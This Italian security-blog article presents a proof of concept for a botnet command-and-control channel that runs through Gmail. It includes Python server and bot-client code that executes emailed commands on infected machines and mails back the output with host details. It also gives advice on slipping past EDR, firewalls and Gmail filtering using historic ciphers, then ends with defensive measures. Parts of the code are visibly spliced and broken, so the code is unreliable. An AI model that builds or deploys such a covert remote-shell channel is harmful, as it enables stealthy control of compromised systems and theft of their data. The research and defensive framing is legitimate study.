Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca

Come realizzare un Command & Control utilizzando Gmail in 16 steps per bypassare qualsiasi sistema di sicurezza

Giuseppe Longobardi : 17 Ottobre 2023 07:28

Prefazione: Come avevamo riportato qualche giorno fa, riportiamo la ricerca integrale svolta dal team di HackerHood – comprensiva di codice sorgente – per realizzare comunicazioni invisibili ai sistemi di sicurezza utilizzando Gmail come vettore di scambio di informazioni. Questa ricerca di Giuseppe Longobardi ha puramente lo scopo didattico di far comprendere che la logica Living off the Land (LotL) consente di poter utilizzare software attendibili per poter bypassare i sistemi di sicurezza. In questa ricerca viene sfruttato il canale attendibile Gmail per far dialogare un malware presente all’interno di una rete aziendale con un server di comando & controllo attestato sulla rete internet.

Oggi vedremo come con delle semplici email è possibile controllare milioni di computer, server, smartphone , stampanti e dispositivi IoT dalla panchina del parco.

Un’infrastruttura di Comando e Controllo (C&C, o Command and Control in inglese) rappresenta il cervello tattico dietro le reti di botnet e le attività malevole online. Essa funge da centro di coordinamento che permette agli attaccanti di comandare, controllare e recuperare dati dai sistemi compromessi noti anche come “bot”. In questo contesto, è fondamentale comprendere la complessità, la resilienza e le tecniche sofisticate che caratterizzano queste infrastrutture per poter sviluppare metodi di difesa efficaci.

Iscriviti GRATIS ai WorkShop Hands-On della RHC Conference 2025 (Giovedì 8 maggio 2025)

Il giorno giovedì 8 maggio 2025 presso il teatro Italia di Roma (a due passi dalla stazione termini e dalla metro B di Piazza Bologna), si terranno i workshop "hands-on", creati per far avvicinare i ragazzi (o persone di qualsiasi età) alla sicurezza informatica e alla tecnologia. Questo anno i workshop saranno:

  • Creare Un Sistema Ai Di Visual Object Tracking (Hands on)
  • Social Engineering 2.0: Alla Scoperta Delle Minacce DeepFake
  • Doxing Con Langflow: Stiamo Costruendo La Fine Della Privacy?
  • Come Hackerare Un Sito WordPress (Hands on)
  • Il Cyberbullismo Tra Virtuale E Reale
  • Come Entrare Nel Dark Web In Sicurezza (Hands on)

  • Potete iscrivervi gratuitamente all'evento, che è stato creato per poter ispirare i ragazzi verso la sicurezza informatica e la tecnologia.
    Per ulteriori informazioni, scrivi a [email protected] oppure su Whatsapp al 379 163 8765


    Supporta RHC attraverso:


    Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.

    In questo articolo presenteremo un’architettura innovativa che permette di bypassare le principali misure di sicurezza più diffuse nelle aziende. Questo grazie allo sfruttamento di un canale di comunicazione autorevole e usato da miliardi di utenti che quindi non può essere bloccato nella sua fruizione.

    Questo canale è chiaramente GMAIL,il quale ci permetterà di instaurare un canale criptato fra i bot ed i server C&C senza mai realmente far entrare in contatto diretto queste due entità. Sfrutteremo le email come fossero dei frame ethernet in una rete L2 fra i bot ed i server C&C, questo anche nel caso di bot a migliaia e migliaia di KM di distanza. 

    Progetteremo la struttura dati dei PDU e definiremo i criteri dei payload che potranno transitare sulla nostra rete L2, in questo scenario l’oggetto delle email diventerà l’header dei nostri pacchetti mentre il corpo delle email diventerà il campo dati dei nostri PDU. Tutto questo sarà protetto dai più elevati standard di crittografia messi in campo dal TLS, sul quale si basano le moderne implementazioni sicure di SMTP e IMAP.

    Il traffico risultante sarà entropicamente equivalente a quello di una canonica email, dato che i comandi che i server C&C manderanno ai bot tramite le email non saranno altro che testo. Il problema però potrebbe essere un’eventuale censura da parte di google ma anche per questo abbiamo trovato una soluzione, la illustreremo facendo un autentico viaggio ai tempi dell’antica Roma. Capirete leggendo l’articolo.

    Architettura Generale 

    L’architettura di un’infrastruttura C&C può variare notevolmente, in generale è composta da:

    Server C&C: Il cuore dell’infrastruttura, responsabile per inviare comandi ai bot e ricevere dati da essi.

    Bot: Sistemi infettati che eseguono i comandi del server C&C.

    Canale di Comunicazione: Il mezzo attraverso il quale il server e i bot comunicano. Questo può essere fatto attraverso vari protocolli come HTTP, HTTPS, IRC, o altri.

    Caratteristiche

    Anonimato e Occultamento: Gli attaccanti utilizzano spesso tecniche come VPN, reti Tor o servizi di fast-flux per nascondere la posizione effettiva del server C&C. Tuttavia ad oggi la maggior parte delle tecniche possono essere identificate da NDR , Firewall, IPS, EDR ed altri sistemi di sicurezza dato che sono ormai note.

    Polimorfismo e Offuscamento: Il codice malevolo può essere progettato per cambiare le proprie caratteristiche nel tempo, rendendo difficile la sua identificazione e rimozione. Ogni malware può essere identificato tramite una “firma”, questa se condivisa con gli altri organismi di CTI può portare all’identificazione dell’agent che infetta i bot. Per questo è bene prevedere una continua evoluzione del codice in modo da mutare ciclicamente la firma.

    Punto a Punto e Topologie Distribuite: Anziché utilizzare un singolo server C&C, alcune reti utilizzano una topologia distribuita per resistere ai tentativi di smantellamento. 

    Ridondanza: Spesso, vi sono meccanismi di failover che permettono a un nuovo server C&C di prendere il controllo nel caso in cui il server primario sia compromesso.

    Multi-Stage Payloads: Alcuni attacchi utilizzano payload in più fasi, dove un payload iniziale più semplice viene utilizzato per caricare codici più complessi e sofisticati una volta che il sistema è compromesso.Le infrastrutture C&C spesso non offrono una finestra di controllo completa sugli host, per via della loro natura stealth e poco invasiva. Per questo sono usate come punto di ingresso per poi installare backdoor, RAT o simili.

    Ora che abbiamo descritto l’architettura classica di una infrastruttura C&C, analizziamo quella della nostra soluzione.

    Architettura della soluzione

    Come descritto nella sezione precedente, un infrastruttura C&C è composta da tre principali elementi: Il server C&C, i bot e il canale di comunicazione. Nella nostra architettura sia il server C&C che i client sono pilotati da semplici script scritti in Python, il canale di comunicazione è GMAIL. Si tenga presente che la scelta di GMAIL non costituisce in alcun modo un vincolo strutturale, qualsiasi provider di email può essere sfruttato come “VPN” una volta compresa l’idea alla base.

    La scelta di usare le email come “protocollo di trasporto” è dettata dai seguenti motivi:

    • Il traffico in uscita e/o ingresso verso i server di posta di Google non viene considerato automaticamente malevolo, mentre invece quello verso un server non noto (Server C&C) verrebbe invece immediatamente rilevato;
    • Grazie all’uso delle moderne versioni di IMAP e SMTP, che sono supportate da robuste suite crittografiche, è possibile occultare il contenuto delle email a EDR, IPS , NDR , XDR , Firewall, etc;
    • I comandi hanno un entropia simile ad una canonica email, quindi il traffico non può essere facilmente identificato come “inusuale” dato che avrebbe le stesse caratteristiche di una email;
    • L’uso di un provider pubblico garantisce una bassa possibilità di filtraggio delle email dato che sarebbe impensabile per Google analizzare tutte le email inviate alla ricerca di pattern simili. Questo però lo risolviamo con quel famoso viaggio nell’antica Roma di cui parlavamo all’inizio dell’articolo. A breve approfondiremo.

    Descrizione struttura tabellare database

    La nostra soluzione non ha un vero e proprio database dato che implicherebbe una maggiore complessità architetturale. Il nostro database sono le email di gmail, strutturate secondo il diagramma che segue. Ogni email quindi sarà un vero e proprio “record”.

    Analisi dei processi

    La comunicazione tra Server e Zombies non è mai diretta, c’è sempre GMAIL nel mezzo. Per poter comunicare con gli Zombie non è necessario adoperare il Server C&C , basta semplicemente poter inviare una mail ad una certa casella di posta da un altra specifica casella di posta. Il Server C&C è solo un semplice script che permette di inviare delle email, quindi possiamo replicarlo con il nostro smartphone da qualsiasi luogo.

    Uno dei problemi di questo processo potrebbe essere proprio GMAIL ma per rendere ridondante l’architettura nel caso in cui GMAIL blocchi gli account possiamo prevedere N Caselle Atte a inviare comandi ed N per inviare le risposte, anche di provider diversi. 

    Nel caso in cui GMAIl filtri le singole email possiamo trasmettere usando le crittografie storiche. Questo perché le crittografie storiche non introducono nuovi alfabeti, contenendo quindi l’entropia del testo. Potremmo usare quindi:

    • La crittografia di Giulio Cesare (Cesar Chiper)
    • Il codice di vigenere (Crittografia polialfabetica)
    • Transposition Cipher
    • E altre crittografie storiche

    Contenere l’entropia è fondamentale perché permette di occultare le email dei server C&C e le response dei bot nei milioni di email inviate giornalmente. Quindi apparendo come mail legittime Google dovrebbe scavare su ogni singola email applicando algoritmi di brute-forcing per provare a decriptare eventuali stringhe criptate con crittografie storiche. In quel caso però se si aggiungessero più livello di crittografia, sempre di tipo storico, posso dire che a livello di complessità computazionale sarebbe quasi impossibile identificarci. 

    Questo era quello che intendevo con viaggo ai tempi dell’antica Roma.

    Allestiamo il laboratorio

    Per questo laboratorio useremo 2 semplici macchine virtuali. Sulla macchina kali eseguiremo gli script che permetteranno di inviare i comandi alla rete di zombi (che sarà rappresentata da una macchina fisica windows 10 e da una macchina virtuale ubuntu).

    Non abbiamo riportato gli IP né altri dettagli perché non è necessario conoscerli per poter comunicare con la rete, questo è un enorme vantaggio.

    Proof of Concept – Stealth GMAIL C&C

    Si rammenta che il codice appena mostrato è solo una piccola parte della soluzione sviluppata, il suo uso all’infuori del perimetro accademico è SEVERAMENTE vietato.

    STEP 1

    La prima cosa da fare è predisporre due indirizzi email: uno servirà al server per comunicare i comandi alla botnet, l’altro servirà per raccogliere le risposte dalla rete di zombie.

    Per poter inviare e leggere email da codice ci servirà generare una “password app” dal nostro account google, questa modalità di autenticazione ci fornirà un token che potremo usare come una sorta di “Api Key”. Per generare una password app fare riferimento alla guida ufficiale di google, disponibile qui.

    STEP 2

    Una volta pronte le due email e generate le password app, siamo pronti per iniziare a scrivere il codice del nostro Server C&C. Codice che potrebbe assomigliare a questo:

    import smtplib
    import imaplib
    import argparse
    import email
    import time
    from email.mime.text import MIMEText
    from email.mime.multipart import MIMEMultipart
    import random
    import re
    
    
    def show_banner():
        print(r"""
      ____                 _ _    ____ ___    ____  
     / ___|_ __ ___   __ _(_) |  / ___( _ )  / ___|
    | |  _| '_ ` _ \ / _` | | | | |   / _ \/\ |    
    | |_| | | | | | | (_| | | | | |__| (_>   len(words):
            return "Posizione non valida."
       
        # Restituisce la parola alla posizione specificata, ricordando che l'indicizzazione delle liste in Python inizia da 0
        return words[position - 1]
    
    
    def send_message(source_email,destination_email,Subject,testo_messaggio,id_command,os_target,communication_type,remote_mac_address,host_group):
        messaggio = MIMEMultipart()
        messaggio['From'] = source_email
        messaggio['To'] = destination_email
       
        if communication_type == "broadcast":
            messaggio['Subject'] = Subject + '_' + str(id_command) + '_' + str(os_target) + '_' + str(communication_type) + '_' + '0'
       
        if communication_type == "multicast":
            messaggio['Subject'] = Subject + '_' + str(id_command) + '_' + str(os_target) + '_' + str(communication_type) + '_' + str(host_group)
    
    
        if communication_type == "unicast":
            messaggio['Subject'] = Subject + '_' + str(id_command) + '_' + str(os_target) + '_' + str(communication_type) + '_' + str(remote_mac_address)
    
    
        messaggio.attach(MIMEText(testo_messaggio, 'plain'))
    
    
        # Invio del messaggio
        try:
            server.sendmail(source_email, destination_email, messaggio.as_string())
            return True
        except:
            return False
    
    
    def email_update(id_command):
        mail = imaplib.IMAP4_SSL("imap.gmail.com")
    
    
        # Autenticazione
        mail.login(source_email, app_password)
    
    
        # Seleziona la casella di posta
        mail.select("inbox")
        status, messages = mail.search(None, 'UNSEEN')
        if status != "OK":
            print("Research Error.")
            return
    
    
        # Ottieni la lista degli id dei messaggi
        message_ids = messages[0].split()
    
    
        for email_id in message_ids:
            # Fetch del messaggio per ID
            status, message_data = mail.fetch(email_id, "(RFC822)")
            if status != "OK":
                print("Mail fetching Error.")
                return
    
    
            # Estrai il corpo del messaggio
            raw_email = message_data[0][1]
            msg = email.message_from_bytes(raw_email)
            subject_email = msg["Subject"]
            # Verifica l'indirizzo email del mittente
            from_address = msg["From"]
            if address_filter not in from_address:
                return
    
    
            # Estrai e stampa il corpo del messaggio
            if msg.is_multipart():
                for part in msg.walk():
                    if part.get_content_type() == "text/plain":
                        try:
                            body = part.get_payload(decode=True)
                            print("Output Command n°",id_command," from: ",get_parameter_id(subject_email,4),"(",str(get_parameter_id(subject_email,3)),")","\n\n",body.decode("utf-8"))
                        except:
                            print("Output Visualization Error")
            else:
                body = msg.get_payload(decode=True)
                print("Output Command n°",id_command," from: ",get_parameter_id(subject_email,4),"(",str(get_parameter_id(subject_email,3)),")","\n\n",body.decode("utf-8"))
    
    
    def is_valid_mac_address(mac_address):
        format = 0
        # Regex per il formato con i due punti
        regex_colon = re.compile(r'^([0-9A-Fa-f]{2}[:]){5}([0-9A-Fa-f]{2})$')
       
        # Regex per il formato con i trattini
        regex_dash = re.compile(r'^([0-9A-Fa-f]{2}[-]){5}([0-9A-Fa-f]{2})$')
    
    
        if bool(regex_colon.match(mac_address)):
            format = 1
    
    
        if bool(regex_dash.match(mac_address)):
            format = 2
    
    
        return format
    
    
    def convert_mac_format(mac_address_with_dash):
        # Sostituisci ogni trattino '-' con due punti ':'
        mac_address_with_colon = mac_address_with_dash.replace('-', ':')
       
        return mac_address_with_colon
       
    def parameters_validation(command,os_target,communication_type,remote_mac_address: str,host_group):
        command = command.lower()
        if os_target != None:
            os_target = os_target.lower()
    
    
        if communication_type != None:
            communication_type = communication_type.lower()
    
    
        mac_validity = True
       
        if remote_mac_address != None:
            remote_mac_address = remote_mac_address.lower()
            mac_validity = is_valid_mac_address(remote_mac_address)
            if mac_validity == 2:
                remote_mac_address = convert_mac_format(remote_mac_address)
    
    
        if host_group != None:
            host_group = host_group.lower()
       
        if command != "update":
            if communication_type == "unicast" and remote_mac_address == None:
                return "Mac Address (-m or --mac) is required in case of UNICAST communication type"
            if communication_type == "multicast" and host_group == None:
                return "Host Group (-g or --group) is required in case of MULTICAST communication type"
            if os_target != "windows" and os_target != "linux":
                return "The OS Can only be linux or windows"
            if mac_validity == 0:
                return "The Mac Address you entered does not have a valid syntax ( The format can be 00:B0:D0:63:C2:26 or 00-B0-D0-63-C2-26)"
       
        return "pass"
    
    
    def get_command_id():
        current_time_seconds = time.time()
        current_time_milliseconds = int(round(current_time_seconds * 1000))
        return current_time_milliseconds
    
    
    def main():
        show_banner()
        parser = argparse.ArgumentParser(description='Remote Shell')
        parser.add_argument('-c', '--command', required=True, help='Command (The command to execute or type "update" to get command output from hosts)')
        parser.add_argument('-o', '--os', required=False, help='Operative System (linux/windows)')
        parser.add_argument('-t', '--type', required=False, help='type of communication (unicast/multicast/broadcast) ')
        parser.add_argument('-m', '--mac', required=False, help='remote host mac address (Required only in case of Unicast) ')
        parser.add_argument('-g', '--group', required=False, help='Group (Required only in case of Multicast) ')
    
    
        args = parser.parse_args()
        i = 0
        command = args.command
        os_target = args.os
        communication_type = args.type
        remote_mac_address = args.mac
        host_group = args.group
        testo_messaggio = command
        id_command = get_command_id()
        validity = parameters_validation(command,os_target,communication_type,remote_mac_address,host_group)
        if validity != "pass":
            print(validity)
        else:
            if testo_messaggio.lower() == 'update':
                email_update(id_command-1)
            else:
                flag = send_message(source_email,destination_email,Subject,testo_messaggio,id_command,os_target,communication_type,remote_mac_address,host_group)
                if (flag):
                    print("Command n°",id_command," Sent.")
                    i = i + 1
                else:
                    print("Command n°",id_command," Not sent.")
            # Chiusura della connessione
            server.quit()
    
    
    if __name__ == main:
        main()
    else:
        main()
    

    Descrizione del codice

    import smtplib, imaplib: Importa i moduli per operazioni SMTP e IMAP.

    import argparse: Importa il modulo per la gestione degli argomenti della riga di comando.

    from email.mime.text import MIMEText: Importa MIMEText per creare messaggi di testo MIME.

    import time, random, re: Importa i moduli per gestire il tempo, numeri casuali e espressioni regolari.

    source_email = “[email protected]”: Definisce l’email sorgente.

    destination_email = “[email protected]”: Definisce l’email destinataria.

    app_password = “password”: Definisce la password dell’app.

    show_banner()

    print(“ASCII Banner”): Stampa un banner ASCII.

    get_parameter_id(input_string, position)

    return input_string.split(“_”)[position]: Divide la stringa in input con il separatore “_” e ritorna l’elemento alla posizione specificata.

    send_message(subject, message)

    msg = MIMEText(message): Crea un nuovo messaggio MIME.

    msg[‘Subject’] = subject: Imposta l’oggetto del messaggio.

    server.sendmail(source_email, destination_email, msg.as_string()): Invia l’email.

    email_update(id_command)

    server = imaplib.IMAP4_SSL(“imap.gmail.com”): Inizializza una connessione IMAP sicura.

    server.login(source_email, app_password): Esegue il login.

    server.select(‘inbox’): Seleziona la casella di posta ‘inbox’.

    …: (Altre operazioni IMAP per ottenere e filtrare i messaggi).

    is_valid_mac_address(mac_address)

    return bool(re.match(“^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$”, mac_address)): Utilizza una regex per verificare la validità dell’indirizzo MAC.

    convert_mac_format(mac_address_with_dash)

    return mac_address_with_dash.replace(‘-‘, ‘:’): Sostituisce i trattini con i due punti nell’indirizzo MAC.

    parameters_validation(…)

    …: Serie di controlli su argomenti e variabili per assicurare che siano validi.

    get_command_id()

    return str(int(time.time())) : Genera un ID unico basato sul tempo.

    parser = argparse.ArgumentParser(…): Inizializza l’oggetto ArgumentParser.

    parser.add_argument(…): Aggiunge argomenti che il programma accetterà.

    args = parser.parse_args(): Analizza gli argomenti della riga di comando.

    parameters_validation(…): Chiama la funzione per validare gli argomenti.

    server = smtplib.SMTP(“smtp.gmail.com”, 587): Inizializza una connessione SMTP.

    server.starttls(): Avvia la crittografia TLS.

    server.login(source_email, app_password): Effettua il login al server SMTP.

    if args.command == ‘update’: email_update(…): Se il comando è “update”, chiama la funzione email_update.

    else: send_message(…): Altrimenti, chiama la funzione send_message per inviare il comando.

    STEP 3

    Predisponiamo adesso il codice del Client che riceverà i comandi dal Server C&C descritto nello step precedente.

    import imaplib
    import email
    import time
    import subprocess
    import smtplib
    from email.mime.text import MIMEText
    from email.mime.multipart import MIMEMultipart
    import socket
    import platform
    import uuid
    import subprocess
    from email.utils import parsedate_to_datetime
    from datetime import datetime
    import pytz
    
    
    def show_banner():
        print(r"""
      ____                 _ _    ____ ___    ____  
     / ___|_ __ ___   __ _(_) |  / ___( _ )  / ___|
    | |  _| '_ ` _ \ / _` | | | | |   / _ \/\ |    
    | |_| | | | | | | (_| | | | | |__| (_>   len(words):
            return "Not a valid index."
       
        # Restituisce la parola alla posizione specificata, ricordando che l'indicizzazione delle liste in Python inizia da 0
        return words[position - 1]
    
    
    while True:
        # Avvia sessione SMTP over TLS
        server = smtplib.SMTP('smtp.gmail.com', 587)
        server.starttls()
        mail = imaplib.IMAP4_SSL("imap.gmail.com")
        mail.login(email_sorgente, app_password)
        mail.select("inbox")
        server.login(email_sorgente, app_password)
    
    
        # Esegui una ricerca IMAP per ottenere solo i messaggi inviati dopo la data specificata
        status, messages = mail.search(None, f'(SINCE "{start_date_str}")')
        if status != "OK":
            print("Research Error.")
            exit()
    
    
        # Ottieni la lista degli id dei messaggi
        message_ids = messages[0].split()
    
    
        # Scorri tutti gli ID dei messaggi
        # ... (parte precedente del codice rimane invariata)
    
    
    # Scorri tutti gli ID dei messaggi
        for email_id in message_ids:
            if email_id in messaggi_letti:
                continue
            # Fetch del messaggio per ID
            status, message_data = mail.fetch(email_id, "(RFC822)")
            if status != "OK":
                print("Fetch Error")
                continue
    
    
            # Estrai il corpo del messaggio
            raw_email = message_data[0][1]
            msg = email.message_from_bytes(raw_email)
    
    
            # Estrai e converte la data del messaggio
            date_string = msg["Date"]
            date_time_obj = parsedate_to_datetime(date_string).astimezone(italia_tz)
           
            # Filtra i messaggi in base alla data e all'ora
            if date_time_obj.replace(tzinfo=None) > start_datetime.replace(tzinfo=None):
                raw_email = message_data[0][1]
    
    
                msg = email.message_from_bytes(raw_email)
    
    
                subject_email = msg["Subject"]
                id_comando = get_parameters_from_email(subject_email,2)
                msg_target_os = get_parameters_from_email(subject_email,3).lower()
                msg_communication_type = get_parameters_from_email(subject_email,4).lower()
                #It could be either a mac address or a group name, it depends on the communication type
                msg_destination_id = get_parameters_from_email(subject_email,5).lower()
    
    
                if msg_communication_type == "unicast":
                    msg_destination_id = convert_mac_format(msg_destination_id)
    
    
                # Verifica l'indirizzo email del mittente
                from_address = msg["From"]
                if indirizzo_filtro not in from_address:
                    continue
    
    
                if msg_target_os != os_info:
                    continue
    
    
                #if msg communication type is not unicast and msg destination is not the mac of the machine drop the mail
                if msg_communication_type == "unicast" and msg_destination_id != mac_address:
                    continue
               
                if msg_communication_type == "multicast" and msg_destination_id != group:
                    continue
    
    
                # Estrai e stampa il corpo del messaggio
                if msg.is_multipart():
                    for part in msg.walk():
                        if part.get_content_type() == "text/plain":
                            try:
                                body = part.get_payload(decode=True)
                                print("Received Command:", body.decode("utf-8"))
                                output = esegui_comando(body.decode("utf-8"))
                                invia_messaggio(output,id_comando)
                                print("Command n°",id_comando," executed and feedback sent\n")
                                messaggi_letti.add(email_id)
                            except:
                                print("Errore nell'esecuzione del comando\n")
                else:
                    body = msg.get_payload(decode=True)
                    print("Received Command:", body.decode("utf-8"))
    
    
        time.sleep(10)
    
    

    Descrizione del codice

    italia_tz = pytz.timezone(‘Europe/Rome’): Imposta il fuso orario su quello dell’Italia.

    start_datetime = datetime.now(italia_tz): Ottiene la data e l’ora attuale nel fuso orario italiano.

    start_date = start_datetime.date(): Estrae la data dalla data e ora completa.

    start_date_str = start_date.strftime(“%d-%b-%Y”): Formatta la data in una stringa.

    Subject = ‘Response’: Imposta l’oggetto dell’email di risposta.

    def get_mac_address(): Ottiene l’indirizzo MAC della macchina.

    def convert_mac_format(mac_address_with_dash): Converte l’indirizzo MAC in un formato standard.

    def get_hostname(): Ottiene l’hostname della macchina.

    def get_private_ip(): Ottiene l’indirizzo IP privato della macchina.

    def get_os(): Ottiene il sistema operativo della macchina.

    def execute_command(command): Esegue un comando sul sistema e restituisce l’output.

    def send_message(message_text, command_id): Invia un messaggio contenente l’output di un comando eseguito.

    def get_parameters_from_email(input_string, position): Estrae parametri specifici dall’oggetto di un’email.

    status, messages = mail.search(None, f'(SINCE “{start_date_str}”)’): Cerca email inviate dopo una data specifica.

    date_string = msg[“Date”]: Estrae la data dall’email.

    date_time_obj = parsedate_to_datetime(date_string).astimezone(italia_tz): Converte la data in un oggetto datetime e la adatta al fuso orario italiano.

    msg_target_os = get_parameters_from_email(subject_email,3).lower(): Estrae il sistema operativo target dall’oggetto dell’email.

    msg_communication_type = get_parameters_from_email(subject_email,4).lower(): Estrae il tipo di comunicazione dall’oggetto dell’email.

    msg_destination_id = get_parameters_from_email(subject_email,5).lower(): Estrae l’ID di destinazione dall’oggetto dell’email.

    if msg_communication_type == “unicast” and msg_destination_id != mac_address: Filtra i messaggi se il tipo di comunicazione è “unicast” e l’ID di destinazione non corrisponde all’indirizzo MAC.

    if msg_communication_type == “multicast” and msg_destination_id != group: Filtra i messaggi se il tipo di comunicazione è “multicast” e il gruppo di destinazione non corrisponde.

    time.sleep(10): Mette in pausa l’esecuzione per 10 secondi prima di ripetere il ciclo.

    STEP 4

    Avviamo un client python (script descritto allo step 3) su una macchina ubuntu ed una macchina windows con il semplice comando “python3 Client.py”

    STEP 5

    Proviamo ad inviare un comando di broadcast a tutta la rete di macchine con OS di tipo Windows.

    STEP 6

    Visualizziamo la mail inviata dal server nella casella di posta designata che verrà letta dai client in polling ogni X secondi.

    come possiamo verificare l’ID del comando è il medesimo e si può apprezzare l’header che segue questa struttura: 

    Request_{ID_COMMAND}_{OS_TYPE}_{COMMUNICATION_TYPE}_{IDENTITY_ID}
    

    dove il command ID è la chiave primaria dei comandi impartiti e viene calcolata sulla base della data e ora attuale, il tipo di OS può essere “windows” o “linux”, il communication type può essere “unicast” , “multicast”  o “broadcast”. L’Identity ID nel caso in cui la comunicazione sia unicast sarà il mac address, nel caso in cui sia multicast sarà il nome del gruppo mentre nel caso di broadcast sarà “0”. Nel corpo della mail ci sarà il payload, cioè il comando vero e proprio. 

    Quindi in questo scenario è come se l’oggetto della mail corrispondesse all’header di un PDU mentre il payload è il corpo della mail. GMAIL agisce come una sorta di VPN a livello 2, quindi logicamente è come se  il server C&C e tutti gli host fossero connessi direttamente in locale ad uno switch. Il nostro switch è GMAIL.

    STEP 7

    Verifichiamo se il comando è stato recepito dall’agent sul bot.

    Come possiamo verificare il client ha ricevuto il comando che ha impartito il nostro Server C&C. Notiamo dall’output che il client ha inoltrato anche il feedback del comando via mail.

    STEP 8

    Verifichiamo adesso se il client ha correttamente inoltrato una mail contenente il feedback del comando alla casella di posta designata.

    Come possiamo agilmente verificare è stata inoltrata una mail con avente un oggetto strutturato secondo la seguente struttura dati:

    Response_{ID_COMMAND}_{MAC_ADDRESS}_{HOSTNAME}_{PRIVATE_IP}_{OS_TYPE}
    

    I campi non hanno bisogno di presentazioni.Questa email (o PDU a questo punto) può essere visualizzata anche sul server C&C. In realtà nell’infrastruttura completa (la versione completa di questo codice presentato nell’articolo) c’è una web app che permette di visualizzare tutto in tempo reale con anche la possibilità di censire i bot attivi e impartire comandi graficamente.

    STEP 9

    Vediamo adesso come visualizzare l’output del comando direttamente sul server C&C.

    Come possiamo vedere stiamo correttamente visualizzando il contenuto delle nostre email (PDU) con annessi alcuni dettagli sui client che le hanno inviate.

    STEP 10

    Proviamo a creare un file sulla macchina di destinazione.

    A questo punto viene inviata la mail ed il client ad un certo punto la leggerà.

    STEP 11

    Verifichiamo se il client ha correttamente elaborato la richiesta.

    Come possiamo vedere il comando è stato correttamente ricevuto.

    STEP 12

    Inviamo nuovamente il comando “dir” per verificare se il file è stato creato e visualizziamo l’output del comando dalla shell del Server C&C

    Come possiamo vedere il file è stato correttamente creato.

    STEP 13

    Chiaramente tutti i comandi che abbiamo inviato sino ad ora sono destinati a soli bot con OS windows, infatti proprio per questo ho introdotto l’opzione “-o” dato che in una botnet non possiamo impartire comandi non considerando il sistema operativo degli zombie. Per questo aprendo la finestra di output del client sulla macchina ubuntu, potremo visualizzare che nessun comando è stato recepito, proprio per la condizione “-o windows”.

    STEP 14

    Proviamo adesso a stampare la configurazione di rete su tutti gli host linux. Già da ora si apprezza l’utilità di filtrare i destinatari dei comandi in base all’OS, dato che su windows si usa “ipconfig” mentre su linux “ifconfig”.

    STEP 15

    Verifichiamo se il client ha effettivamente ricevuto il comando.

    Come possiamo vedere tutto sembra funzionare correttamente.

    STEP 16

    Verifichiamo l’output dal server C&C

    Come possiamo vedere abbiamo ricevuto tutto correttamente. 

    Considerazioni

    Questa era una PoC di una parte della soluzione, chiaramente non possiamo condividere tutto il software (creato per soli fini accademici e di ricerca). La scelta di non divulgare integralmente la soluzione è perché a differenza di altri codici condivisi in articoli simili, questo potrebbe arrecare danni molto più seri se usato per fini diversi dalla ricerca , quindi abbiamo preferito non esporlo completamente.

    Strategie difensive

    Vediamo di seguito alcune tecniche che potrebbero bloccare completamente (o parzialmente) la nostra infrastruttura C2. Chiaramente se si applicano ai messaggi le crittografie storiche, risulta quasi impossibile decriptarne in automatico il contenuto con le regole standard (soprattutto se sono presenti più livelli). 

    SSL/TLS Enforcement

    Forzare l’uso di SSL o TLS garantirà che tutti i dati inviati tra il client e il server siano crittografati. Questo minimizza la possibilità di intercettazione del traffico. Questo può essere implementato a livello di server di posta e può anche essere forzato attraverso le politiche di gruppo su client aziendali.

    Possibile minaccia mitigata: Anzichè usare delle email ad hoc si potrebbe iniettare del contenuto steganografico (ad esempio nelle immagini delle firme) per pilotare gli zombies da email legittime.

    Endpoint Security Solutions

    Le soluzioni EDR monitorano il comportamento del sistema in tempo reale. Possono identificare comportamenti come l’invio di dati ad indirizzi IP sconosciuti o l’esecuzione di payload sospetti, e bloccarli automaticamente.

    Possibile minaccia mitigata: la nostra soluzione per poter funzionare ha bisogno degli agent installati sugli zombie. Questi agent potrebbero essere processi nascosti sotto un processo padre che è autorizzato a inviare mail (ad esempio outlook). 

    Analisi del Contenuto delle E-mail

    Le soluzioni di sicurezza della posta elettronica come Secure Email Gateway (SEG) possono scansionare il contenuto delle e-mail in arrivo e in uscita per identificare comportamenti sospetti, come allegati malevoli o link dannosi.

    Possibile minaccia mitigata: Questa potrebbe potenzialmente essere una bella gatta da pelare per la nostra soluzione, un SEG se ben configurato potrebbe bloccare la nostra infrastruttura.

    Autenticazione a Due Fattori (2FA)

    La 2FA aggiunge un ulteriore livello di sicurezza richiedendo non solo una password, ma anche un secondo fattore come un token hardware o un codice SMS. Questo rende molto più difficile per un attaccante compromettere un account.

    Possibile minaccia mitigata: Nel caso in cui siano presenti delle regole che permettano solo ad alcune email in whitelist di inviare messaggi, un hacker potrebbe appropriarsi di email legittime attraverso alcuni attacchi e inviare i comandi da li. 

    Blacklist/Whitelist

    Creando una blacklist di indirizzi IP o domini noti per essere malevoli, o una whitelist di indirizzi conosciuti come sicuri, è possibile ridurre la superficie di attacco.

    Possibile minaccia mitigata: Nel caso in cui siano presenti delle regole che permettano solo ad alcune email in whitelist di inviare messaggi, un hacker potrebbe appropriarsi di email legittime attraverso alcuni attacchi e inviare i comandi da li. 

    Limitazione dei Privilegi

    Applicare il principio del minimo privilegio implica che gli account e le applicazioni dovrebbero avere solo le autorizzazioni necessarie per eseguire le loro funzioni. Questo limita il danno che può essere fatto se un account viene compromesso.

    Possibile minaccia mitigata: limitando i privilegi assegnati ad ogni macchina si limita notevolmente il possibile impatto di un infrastruttura C&C dato che gli utenti non hanno tutti i privilegi amministrativi.

    Proxy con SSL Stripping

    Un proxy con SSL Stripping funziona come un intermediario tra il client e il server, un autentico Man-in-the-Middle. Quando un utente tenta di accedere a un sito web tramite una connessione HTTPS sicura, il proxy interviene intercettando la richiesta. Invece di inoltrarla come richiesta HTTPS, il proxy la trasforma in una richiesta HTTP e la invia al server di destinazione. Chiaramente egual discorso per le email.

    Il server, a meno che non sia configurato per rifiutare connessioni non sicure, risponderà come se si trattasse di una normale richiesta HTTP. A questo punto, il proxy riceve la risposta e la inoltra al client. Ora, tutte le comunicazioni tra il client e il server passeranno attraverso questo proxy, e poiché la connessione è stata degradata da HTTPS a HTTP, il proxy può vedere e manipolare tutti i dati in chiaro. Questo permetterà l’analisi delle email inviate anche se criptate.

    Possibile minaccia mitigata: Questa potrebbe potenzialmente essere una bella gatta da pelare per la nostra soluzione, un proxy se ben configurato potrebbe bloccare la nostra infrastruttura.

